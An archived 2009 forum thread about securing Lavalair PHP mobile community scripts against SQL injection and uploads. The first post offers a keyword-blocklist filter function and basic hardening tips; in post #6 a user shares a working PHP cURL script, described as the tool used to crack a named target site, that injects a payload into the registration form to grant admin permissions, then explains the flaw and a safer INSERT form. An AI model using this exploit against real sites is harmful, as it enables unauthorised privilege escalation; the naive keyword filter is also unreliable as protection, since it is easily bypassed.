How to secure lavalair ALL versions

Started on the old forum in December 2009 · view the original in the archive · old links redirect here

66 replies · 9,006 views · started 16 years ago · 1 min read

TL;DR · summary of 66 replies
  • Step 2 of securing Lavalair scripts involves removing any uploader functionality.
  • To secure against hotlinking images, users should not be allowed to upload their avatar images directly and instead use a PHP thumbnail script for avatars.
  • The core solution includes adding the check_injection() function in all headers before <html or <doc type under core.php.

Written automatically from the replies by a language model on our own server. It can be wrong; the posts below are the source.

35 participants
subzero Super moderator Fellow · 3,954 posts #1

How to secure lavalair ALL versions!!!!!!!

Wapspire v1,v2 fummobile v1 aarawap v1

Yes you hear me right they all are lavalair scripts !!!!!

First Lets get to know how...

Place this in your core.php

function check_injection() 
  { 
    $badchars = array("DROP","TRUNCATE", "SELECT", "UPDATE", "DELETE" , "UNION", "WHERE", "FROM","INSERT","ORDER BY"); 
   
    foreach($_REQUEST  as $value) 
    { 
      if(in_array(strtoupper($value), $badchars)) 
      { 
      $logfile= 'logs/log.txt'; //chmod 777 
$IP = $_SERVER['REMOTE_ADDR']; 
$logdetails= date("F j, Y, g:i a") . ': ' . '<a href=http://dnsstuff.com/tools/city.ch?ip='.$_SERVER['REMOTE_ADDR'].' target=_blank>'.$_SERVER['REMOTE_ADDR'].'</a>'; 
$fp = fopen($logfile, "r+"); 
fwrite($fp, $logdetails, strlen($logdetails)); 
fclose($fp); 

       header('Location:http://google.com'); 

      } 
      else 
      { 
        $check = preg_split("//", $value, -1, PREG_SPLIT_OFFSET_CAPTURE); 
foreach($check as $char)
{
if(in_array(strtoupper($char), $badchars))
{
      $logfile= 'logs/log.txt'; 
$IP = $_SERVER['REMOTE_ADDR']; 
$logdetails= date("F j, Y, g:i a") . ': ' . '<a href=http://dnsstuff.com/tools/city.ch?ip='.$_SERVER['REMOTE_ADDR'].' target=_blank>'.$_SERVER['REMOTE_ADDR'].'</a>'; 
$fp = fopen($logfile, "r+"); 
fwrite($fp, $logdetails, strlen($logdetails)); 
fclose($fp); 

            header('Location:http://google.com'); 
}}}} 
} 

Add this too ALL of your headers Before <html or <doc type Under core.php include file

" include("core.php"); check_injection(); "

Step 2:

Do Not Host a UPLOADER

Step 3:

Don`t let users hotlink images as there avatar delete this asap from your site. or host it with a php thumb script you may search this forum for it !!

Step 4:

Do not save logs in logs or any txt files to members/owners info

Step 5

Do not use easy passwords like eg: 123456 , abc1234 , password , guest , john , orbit

Most guest password is your username as your password you must not sign up like

username: john1942 password: john1942

End of page.......

If you still getting hacked / sql / hijacked this means you didn't go thou the steps as i told you...

Visit: Chat4u.mobi - The New Lay Of being a site of your dreams! Visit: WapMasterz Coming Back Soon!


SCRIPTS FOR SALE BY SUBZERO Chat4u Script : coding-talk.com/f28/chat4u-mobi-script-only-150-a-17677/ - > Best Script for your site no other can be hacked by sql or uploaders. FileShare Script : coding-talk.com/f28/file-wap-share-6596/ -> Uploader you will never regret buying yeah it mite be old now but it still seems to own others... _______…

jefweewap Junior · 31 posts #2

this is great thanks.......8)

firemax Developer · 221 posts #6

Here is the tool I used to crack into the target site:

<?php class Browser { function __construct($ua="") { $this->UserAgent = $ua; } public $curl, $count, $data,$UserAgent; function url($url) { $this->curl = curl_init($url); } function fields($count) { $this->count = $count; } function data($data) { $this->data = strtolower($data); } function send() { curl_setopt($this->curl, CURLOPT_POST, $this->count); if(!empty($this->UserAgent)) { curl_setopt($this->curl, CURLOPT_USERAGENT, $this->UserAgent); } curl_setopt($this->curl, CURLOPT_POSTFIELDS, $this->data); curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($this->curl); curl_close($this->curl); return $result; }

}

$uid = "masnun";

$info = "fear the geek, since you must!',perm='4',validated='1'#"; $m = new Browser("Samsung SGH C160"); $m->url("http://kalponik.freehostia.com/web/register.php"); $m->fields(12); $m->data("uid=$uid&pwd=masnun&cpw=masnun&day=31&month=03-&year=1987-&usx=M&ulc=BD&email=none&info=$info");

print_r($m->send());

?> The easiest explanation is that LavaLair by default requires magic_quotes_gpc() to be off and it’s insert SQLs are in the format:

INSERT INTO table_name SET column_1='value_1', column_2 ='value_2'

So, it becomes easy to inject some single quotes and hash sign to terminate the script and modify it the way you wish.

My suggestion would be to use Insert SQLs in this way:

INSERT INTO table_name (column_1,column_2) VALUES ('value_1','value_2')

And now a little rant about these so hackers… I have heard lots of stories about AyOn and some other freaks terrorizing the LL community… It’s really funny the way the developers never bothered to learn how these scrip kiddies or so-called hackers managed their way in… From the very beginning, I have used J21Community with magic_quotes_gpc turned on and secure SQL queries. That’s one of the important reasons why no J21Community site has been hacked yet by SQL Injection… 😀 (copy from blog)

External image (may be gone) Free Mobile Web Scripts by me: Free Youtube Downloader, Tweets Reader, Facebook Wall Posts Reader PHP Tutorials: [How to Secure Your PHP Script (PHP SECURITY)](http://coding-talk.com/f14/how-to-secure-you…

huwad Developer · 215 posts #7

thanks for sharing,, uhhm.. I think I have to try it..

hacking is like sex. you get in, you get out and you pray you left nothing behind.

subzero Super moderator Fellow · 3,954 posts #8

shell script Please read Step 2: AGAIN !!

Visit: Chat4u.mobi - The New Lay Of being a site of your dreams! Visit: WapMasterz Coming Back Soon!


SCRIPTS FOR SALE BY SUBZERO Chat4u Script : coding-talk.com/f28/chat4u-mobi-script-only-150-a-17677/ - > Best Script for your site no other can be hacked by sql or uploaders. FileShare Script : coding-talk.com/f28/file-wap-share-6596/ -> Uploader you will never regret buying yeah it mite be old now but it still seems to own others... _______…

kei_ki7 Senior · 431 posts #9

Step 2 is the best 🙂

Did I help you? You can help me too Your donations will help me finance my studies.

wapmaster2 Developer · 114 posts #12

Thanks Sub bro !

everything is done but still some confusion Step 3 what about the hotlink ? even i using the thumb img for avatars but how can block if anybody plase any link in their INFO:

like click here click here[/ url]

sorry if stupid ques. 8)

🌹 JUST JOIN FOR FUN ! **[url]http://wapmaster2.com**

huwad Developer · 215 posts #13

wapmaster2 wrote: everything is done but still some confusion Step 3 what about the hotlink ? even i using the thumb img for avatars but how can block if anybody plase any link in their INFO:

like click here click here[/ url]

sorry if stupid ques. 8)

its a bbcode from your core

hacking is like sex. you get in, you get out and you pray you left nothing behind.

wapmaster2 Developer · 114 posts #14

Thanks huwad and yep its unnecessary thing. Blog Club and topic is enough .......... dear how can i add in bbcode to change text color ?

means like this [red]your text here[ /red]

Thanks !

🌹 JUST JOIN FOR FUN ! **[url]http://wapmaster2.com**

metulj Super moderator Principal · 1,726 posts #15

wapmaster2 wrote: Thanks huwad and yep its unnecessary thing. Blog Club and topic is enough .......... dear how can i add in bbcode to change text color ?

means like this [red]your text here[ /red]

Thanks !

that was posted once or twice before... so you could really use search🤨

It's better to keep your mouth shut and give the impression that you're stupid, than to open it and remove all doubt. ⓣⓗⓔ ⓠⓤⓘⓔⓣⓔⓡ ⓨⓞⓤ ⓑⓔ©ⓞⓜⓔ, ⓣⓗⓔ ⓜⓞⓡⓔ ⓨⓞⓤ ⓐⓡⓔ ⓐⓑⓛⓔ ⓣⓞ ⓗⓔⓐⓡ ! ιη тнєσяу, тнє ρяα¢тι¢є ιѕ α яєѕυℓт σƒ тнє тнєσяу, вυт ιη ρяα¢тι¢є ιѕ тнє σρρσѕιтє.

キノgんイノ刀g 4 ア乇ムc乇 ノ丂 レノズ乇 キucズノ刀g 4 √ノ尺gノ刀ノイリ!

wap2k Developer · 168 posts #18

Mysql OR and AND should be added to the bad words list!

ewanz Developer · 187 posts #19

I think that's n0thing way t0 prevent fr0m hacking..

our lfe is simple words.... 😌 http://mygenkz.net ewanz06@yahoo.com

$output="i am NOoob....";
$newfile="ewanz.txt";
$file = fopen ($newfile, "w");
fwrite($file, $output);
fclose ($file); 

Write your reply now; next you create a free account (or sign in) and it is posted right away. Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close